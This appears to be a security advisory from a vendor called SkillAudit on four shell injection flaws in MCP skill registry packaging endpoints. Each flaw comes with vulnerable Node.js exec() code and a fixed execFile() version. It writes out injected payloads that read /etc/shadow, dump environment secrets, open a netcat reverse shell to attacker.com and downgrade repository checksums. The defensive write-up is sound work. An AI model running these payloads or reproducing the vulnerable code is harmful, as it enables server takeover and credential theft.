Claude MCP skill code injection — skill source code archive and release packaging pipeline endpoints — SA-SKL-INJECTION53
SA-SKL-INJECTION53 documents four code injection vulnerabilities in MCP skill registry source code archive and release packaging pipeline endpoints. Release packaging pipelines invoke shell commands — tar, zip, gpg, and createrepo — to create distributable skill archives. When these commands are constructed using exec() with attacker-controlled string interpolation rather than execFile() with argument arrays, any user-supplied parameter becomes a shell injection vector. The consequences range from immediate filesystem credential exfiltration and reverse shell establishment to subtle supply chain attacks that downgrade cryptographic integrity verification for entire package repositories.
exec(`tar czf ${archiveName} ${sourceDir}`) — attacker archiveName with ; cat /etc/shadow exfiltrates system password file; fix: execFile() array; validate archiveName against /^[a-zA-Z0-9.\-_]{1,128}\.tar\.gz$/; realpathSync containment for sourceDirexec(`zip -r ${outputZip} ${sourceDir} -x ${excludePattern}`) — attacker excludePattern with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate excludePattern against /^[a-zA-Z0-9.\-_\/\*]+$/; realpathSync containmentexec(`gpg --batch --passphrase ${passphrase} --symmetric ${archiveFile}`) — attacker passphrase with ; printenv exfiltrates all env vars including GPG_SIGNING_KEY_ID and cloud provider credentials; fix: execFile() array; validate passphrase via Zod string().max(256) with no shell metacharacters; realpathSync containment for archiveFileexec(`createrepo ${repoDir} --baseurl ${baseUrl}`) — attacker baseUrl with space-injected --checksum=sha1 downgrades checksum algorithm for all packages in the repository, enabling collision-based package substitution attacks; fix: execFile() array; validate baseUrl against /^https:\/\/[a-zA-Z0-9.\-\/]+$/; repoDir from server-side constantINJECTION53-001 — Shell injection via tar archive name exfiltrates system password file
Severity: CRITICAL
The archive creation endpoint invokes exec(`tar czf ${archiveName} ${sourceDir}`) where archiveName is supplied by the authenticated user. Node.js exec() passes its argument to /bin/sh -c, which interprets semicolons, pipes, and backticks as shell metacharacters. An attacker who sets archiveName to release.tar.gz; cat /etc/shadow causes the shell to execute cat /etc/shadow as a second command after the tar invocation.
The /etc/shadow file contains hashed credentials for all system users. Even salted hashes are valuable to an attacker as an offline cracking target — particularly for accounts with weak passwords or reused credentials. The shadow file also reveals account lockout status, password expiry dates, and the hash algorithm used (crypt format prefix), which guides targeted cracking efforts. The injection requires only that the user have permission to call the archive creation endpoint — typically any authenticated skill publisher.
// POST /api/skills/:id/archive — exec() with attacker-controlled archiveName
const { exec } = require('child_process');
const util = require('util');
const execAsync = util.promisify(exec);
router.post('/:id/archive', requireSession, async (req, res) => {
const { archiveName, version } = req.body;
const sourceDir = path.join('/opt/registry/skills', req.params.id);
// attacker archiveName: 'release.tar.gz; cat /etc/shadow'
const { stdout, stderr } = await execAsync(`tar czf ${archiveName} ${sourceDir}`);
return res.json({ archive: archiveName, output: stdout }); // shadow output returned
});
// POST /api/skills/:id/archive — execFile() array + validate archiveName + realpathSync
const { execFile } = require('child_process');
const util = require('util');
const execFileAsync = util.promisify(execFile);
const path = require('path');
const fs = require('fs');
const { z } = require('zod');
const ArchiveSchema = z.object({
archiveName: z.string().regex(/^[a-zA-Z0-9.\-_]{1,128}\.tar\.gz$/),
version: z.string().regex(/^\d+\.\d+\.\d+$/),
});
router.post('/:id/archive', requireSession, async (req, res) => {
const parsed = ArchiveSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'Invalid archive params' });
const SKILLS_ROOT = '/opt/registry/skills';
const sourceDir = fs.realpathSync(path.join(SKILLS_ROOT, req.params.id));
if (!sourceDir.startsWith(SKILLS_ROOT + '/')) return res.status(400).json({ error: 'Path traversal rejected' });
const outputPath = path.join('/opt/registry/archives', parsed.data.archiveName);
await execFileAsync('tar', ['czf', outputPath, sourceDir]); // no shell, no injection
return res.json({ archive: parsed.data.archiveName });
});
INJECTION53-002 — Shell injection via zip exclude pattern establishes reverse shell
Severity: CRITICAL
The zip archive creation endpoint invokes exec(`zip -r ${outputZip} ${sourceDir} -x ${excludePattern}`) where excludePattern is a user-supplied glob pattern for excluding files from the archive. An attacker sets excludePattern to *.log; nc attacker.com 4444 -e /bin/sh. After the zip command completes normally, the shell interprets the semicolon and executes nc attacker.com 4444 -e /bin/sh — establishing a reverse shell from the registry server to the attacker's listener.
The reverse shell executes as the registry server process user — typically a service account with read access to the entire skills database, the registry configuration files, and any secrets mounted as environment variables or files. Unlike INJECTION53-001 which produces output in the HTTP response, a reverse shell is an interactive persistent session: the attacker has a command line on the registry server for as long as the connection remains open and can conduct lateral movement at their own pace.
// POST /api/skills/:id/archive/zip — exec() with attacker-controlled excludePattern
router.post('/:id/archive/zip', requireSession, async (req, res) => {
const { outputName, excludePattern } = req.body;
const sourceDir = path.join('/opt/registry/skills', req.params.id);
const outputZip = path.join('/opt/registry/archives', outputName);
// attacker excludePattern: '*.log; nc attacker.com 4444 -e /bin/sh'
await execAsync(`zip -r ${outputZip} ${sourceDir} -x ${excludePattern}`);
return res.json({ archive: outputName });
});
// POST /api/skills/:id/archive/zip — execFile() array + validate excludePattern
const ZipSchema = z.object({
outputName: z.string().regex(/^[a-zA-Z0-9.\-_]{1,128}\.zip$/),
excludePattern: z.string().regex(/^[a-zA-Z0-9.\-_\/\*]{1,128}$/).optional(),
});
router.post('/:id/archive/zip', requireSession, async (req, res) => {
const parsed = ZipSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'Invalid zip params' });
const SKILLS_ROOT = '/opt/registry/skills';
const sourceDir = fs.realpathSync(path.join(SKILLS_ROOT, req.params.id));
if (!sourceDir.startsWith(SKILLS_ROOT + '/')) return res.status(400).json({ error: 'Path traversal rejected' });
const outputZip = path.join('/opt/registry/archives', parsed.data.outputName);
const args = ['-r', outputZip, sourceDir];
if (parsed.data.excludePattern) args.push('-x', parsed.data.excludePattern);
await execFileAsync('zip', args); // each argument is a separate element — no shell parsing
return res.json({ archive: parsed.data.outputName });
});
INJECTION53-003 — Shell injection via gpg passphrase exfiltrates env vars and signing credentials
Severity: CRITICAL
The archive signing endpoint invokes exec(`gpg --batch --passphrase ${passphrase} --symmetric ${archiveFile}`) where passphrase is a user-supplied string. An attacker sets passphrase to correct-horse-battery; printenv. After GPG runs with the truncated passphrase (which will fail or succeed depending on the actual passphrase), the shell executes printenv, and the output of all environment variables is captured in stdout and returned in the response error message.
Registry signing pipelines typically receive their GPG key identifiers, cloud provider access keys, and database credentials via environment variables mounted from secrets managers at deploy time. The printenv output therefore exposes the full set of infrastructure credentials available to the registry process — including GPG_SIGNING_KEY_ID, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_URL, and any other secrets injected via environment. Passphrases are also sensitive: the attacker can read the actual passphrase used for symmetric encryption of previously archived skills.
// POST /api/skills/:id/archive/sign — exec() with attacker-controlled passphrase
router.post('/:id/archive/sign', requireSession, async (req, res) => {
const { archiveName, passphrase } = req.body;
const archiveFile = path.join('/opt/registry/archives', archiveName);
// attacker passphrase: 'secret; printenv'
const { stdout, stderr } = await execAsync(
`gpg --batch --passphrase ${passphrase} --symmetric ${archiveFile}`
);
return res.json({ signed: true, output: stdout + stderr }); // env vars in output
});
// POST /api/skills/:id/archive/sign — execFile() array + Zod passphrase validation
const SignSchema = z.object({
archiveName: z.string().regex(/^[a-zA-Z0-9.\-_]{1,128}\.tar\.gz$/),
passphrase: z.string().max(256).regex(/^[^;&|`$\\<>(){}[\]!#]*$/),
});
router.post('/:id/archive/sign', requireSession, async (req, res) => {
const parsed = SignSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'Invalid sign params' });
const ARCHIVES_ROOT = '/opt/registry/archives';
const archiveFile = fs.realpathSync(path.join(ARCHIVES_ROOT, parsed.data.archiveName));
if (!archiveFile.startsWith(ARCHIVES_ROOT + '/')) return res.status(400).json({ error: 'Path traversal rejected' });
await execFileAsync('gpg', ['--batch', '--passphrase', parsed.data.passphrase, '--symmetric', archiveFile]);
return res.json({ signed: true }); // never return stdout/stderr
});
INJECTION53-004 — Space-injected baseUrl downgrades repository checksum algorithm
Severity: HIGH
The RPM repository metadata generation endpoint invokes exec(`createrepo ${repoDir} --baseurl ${baseUrl}`) where baseUrl is the user-supplied canonical URL for the repository. An attacker sets baseUrl to https://registry.skillaudit.dev/rpm --checksum=sha1. When the shell parses this, the space causes --checksum=sha1 to be treated as an additional command-line argument to createrepo, overriding the default SHA-256 checksum algorithm with SHA-1.
SHA-1 is considered cryptographically broken for collision resistance. When repository metadata uses SHA-1 checksums, an attacker who can generate a SHA-1 collision for a target package can substitute a malicious package with the same checksum — the package manager will accept it as legitimate because the checksum matches. The downgrade affects the entire repository's metadata for all packages, not just one skill. This is a supply chain attack that becomes effective over time as the SHA-1 collision capability (which requires significant but finite computational resources in 2026) is applied to target packages in the repository.
// POST /api/registry/rpm/reindex — exec() with attacker-controlled baseUrl
router.post('/rpm/reindex', requireSession, requireRole('admin'), async (req, res) => {
const { repoDir, baseUrl } = req.body;
// attacker baseUrl: 'https://registry.skillaudit.dev/rpm --checksum=sha1'
await execAsync(`createrepo ${repoDir} --baseurl ${baseUrl}`);
return res.json({ reindexed: true });
});
// POST /api/registry/rpm/reindex — execFile() array + validate baseUrl + repoDir constant
const ReindexSchema = z.object({
baseUrl: z.string().url().regex(/^https:\/\/[a-zA-Z0-9.\-\/]+$/),
});
const RPM_REPO_DIR = '/opt/registry/rpm'; // server-side constant — never user-supplied
router.post('/rpm/reindex', requireSession, requireRole('admin'), async (req, res) => {
const parsed = ReindexSchema.safeParse(req.body);
if (!parsed.success) return res.status(400).json({ error: 'Invalid reindex params' });
// repoDir from constant; baseUrl validated to contain no spaces or flag-like tokens
await execFileAsync('createrepo', [RPM_REPO_DIR, '--baseurl', parsed.data.baseUrl,
'--checksum', 'sha256']); // explicit checksum arg prevents override via space injection
return res.json({ reindexed: true });
});
Run SkillAudit to detect exec() with string interpolation in archive and packaging pipeline endpoints, missing realpathSync containment, and unvalidated shell parameters in your MCP skill registry source code. Join the waitlist for access.